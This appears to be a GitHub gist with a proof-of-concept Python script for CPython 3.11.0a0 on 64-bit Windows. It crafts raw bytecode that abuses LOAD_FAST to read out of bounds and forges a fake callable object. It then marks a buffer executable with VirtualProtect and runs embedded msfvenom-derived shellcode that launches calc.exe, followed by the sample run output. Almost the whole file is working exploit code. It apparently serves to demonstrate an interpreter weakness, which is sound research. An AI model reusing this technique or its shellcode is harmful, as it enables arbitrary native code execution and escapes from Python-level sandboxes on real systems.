Last active
November 16, 2023 16:23
-
-
Save JuliaPoo/2a24ea3743770cf3e25ff45c23a512b5 to your computer and use it in GitHub Desktop.
Running shellcode on Python 3.11.0a0 64-bit by abusing LOAD_FAST
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Python 3.11.0a0 64-bit | |
import sys | |
import opcode | |
import types | |
import ctypes | |
# PyBytesObject.ob_sval | |
PyBytesObject_ob_sval_offset = 0x20 | |
# _frame.f_localsplus | |
_frame_f_localsplus_offset = 0x68 | |
def inst(opc:str, arg:int=0): | |
"Makes life easier in writing python bytecode" | |
nb = max(1,-(-arg.bit_length()//8)) | |
ab = arg.to_bytes(nb, 'big') | |
ext_arg = opcode.opmap['EXTENDED_ARG'] | |
inst = bytearray() | |
for i in range(nb-1): | |
inst.append(ext_arg) | |
inst.append(ab[i]) | |
inst.append(opcode.opmap[opc]) | |
inst.append(ab[-1]) | |
return bytes(inst) | |
retobj = "Success!! ^-^" | |
shellcode = b"".join([ | |
b"\x48\x81\xec\x00\x10\x00\x00", # sub rsp,0x1000 | |
b"\x50\x53\x51\x52\x55", # push rax, rbx, rcx, rdx, rbp | |
# msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=none -f python | |
# Modified to not crash the interpreter, | |
# at least until it finished running this file. | |
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41", | |
b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48", | |
b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f", | |
b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c", | |
b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52", | |
b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b", | |
b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0", | |
b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56", | |
b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9", | |
b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0", | |
b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58", | |
b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44", | |
b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0", | |
b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a", | |
b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48", | |
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00", | |
b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x1f\x01\x00\x00\x41", | |
b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41", | |
b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06", | |
b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a", | |
b"\x00\x59\x41\x89\xda\xff\xd5", | |
b"\x48\x81\xc4\x38\x00\x00\x00", # add rsp,0x38 | |
b"\x5D\x5A\x59\x5B\x58", # pop rax, rbx, rcx, rdx, rbp | |
b"\x48\x81\xc4\x00\x10\x00\x00", # add rsp,0x1000 | |
b"\x48\xb8" + id(retobj).to_bytes(8, 'little'), # mov rax, <retobj addr> | |
b"\xc3", # ret | |
b"calc.exe\x00", | |
]) | |
shellcode_addr = id(shellcode) + PyBytesObject_ob_sval_offset | |
VirtualProtect = ctypes.windll.kernel32.VirtualProtect | |
old = ctypes.c_long(1) | |
res = VirtualProtect( | |
ctypes.c_void_p(shellcode_addr), | |
len(shellcode), 0x40, ctypes.byref(old)) | |
print("shellcode addr:", hex(shellcode_addr)) | |
fake_typeobject = bytearray(b'A'*0x190) | |
fake_typeobject[0x038:0x038+8] = (0x10).to_bytes(8, 'little') # tp_vectorcall_offset | |
fake_typeobject[0x080:0x080+8] = (0x1).to_bytes(8, 'little') # tp_call | |
fake_typeobject[0x0a8:0x0a8+8] = (0x800).to_bytes(8, 'little') # tp_flags | |
fake_typeobject = bytes(fake_typeobject) | |
fake_typeobject_addr = id(fake_typeobject) + PyBytesObject_ob_sval_offset | |
fake_callable = bytearray(b'a'*0x18) | |
fake_callable[0x008:0x008+8] = fake_typeobject_addr.to_bytes(8, 'little') # ob_type | |
fake_callable[0x010:0x010+8] = shellcode_addr.to_bytes(8, 'little') # shellcode | |
fake_callable = bytes(fake_callable) | |
fake_callable_addr = id(fake_callable) + PyBytesObject_ob_sval_offset | |
print("function addr:", hex(fake_callable_addr)) | |
control_data = fake_callable_addr.to_bytes(8,'little') | |
control_data_addr = id(control_data) + PyBytesObject_ob_sval_offset | |
print("control_data addr:", hex(control_data_addr)) | |
# Runs `return id(sys._getframe())` | |
bytecode1 = b"".join([ | |
# Get address of its frame and return | |
inst('LOAD_CONST', 0), # Load id | |
inst('LOAD_CONST', 1), # Load sys._getframe | |
inst('CALL_FUNCTION', 0), | |
inst('CALL_FUNCTION', 1), | |
inst('RETURN_VALUE') | |
]) | |
# Returns *(fastlocals[idx]) | |
bytecode2 = lambda idx: b"".join([ | |
inst('LOAD_FAST', idx), | |
inst('RETURN_VALUE') | |
]) | |
def make_call_shellcode(): pass | |
def assign_bytecode(bytecode): | |
global make_call_shellcode | |
make_call_shellcode.__code__ = types.CodeType( | |
0, # argcount | |
0, # posonlyargcount | |
0, # kwonlyargcount | |
20, # nlocals (big enough) | |
20, # stacksize (big enough) | |
0, # flags | |
bytecode, # codestring | |
(id, sys._getframe), # constants | |
(), # names | |
('a',), # varnames | |
"", # filename | |
"", # name | |
0, # firstlineno | |
b"", # linetable | |
b"", # exceptiontable | |
) | |
# Get frame address by loading bytecode1 | |
assign_bytecode(bytecode1) | |
frame_addr = make_call_shellcode() | |
print("frame addr:", hex(frame_addr)) | |
# offset + frame_addr + idx*ptr_size = addr | |
# idx = (addr - offset - frame_addr)//ptr_size | |
idx = (control_data_addr - _frame_f_localsplus_offset - frame_addr)//8 | |
print("index:", hex(idx)) | |
# Replace the bytecode to return *(fastlocals[idx]) | |
assign_bytecode(bytecode2(idx)) | |
# Returns our call gadget | |
run = make_call_shellcode() | |
# Run shellcode | |
print("shellcode:", run()) | |
print('done') | |
# Output | |
# > shellcode addr: 0x1dfd49a49f0 | |
# > function addr: 0x1dfd4e2c550 | |
# > control_data addr: 0x1dfd4e2b380 | |
# > frame addr: 0x1dfd4990e40 | |
# > index: 0x9349b | |
# > shellcode: Success!! ^-^ | |
# > done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment